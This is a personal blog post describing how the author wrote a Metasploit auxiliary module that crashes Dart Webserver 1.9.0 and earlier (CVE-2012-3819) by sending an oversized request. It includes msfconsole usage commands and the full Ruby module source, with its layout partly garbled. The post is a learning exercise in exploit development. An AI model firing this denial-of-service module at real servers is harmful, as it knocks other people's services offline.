Friday, September 14, 2012

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

  1. Download it
  2. Burn it
  3. Boot it
  4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb
I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),
Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rb
Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit
------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

No comments:

Post a Comment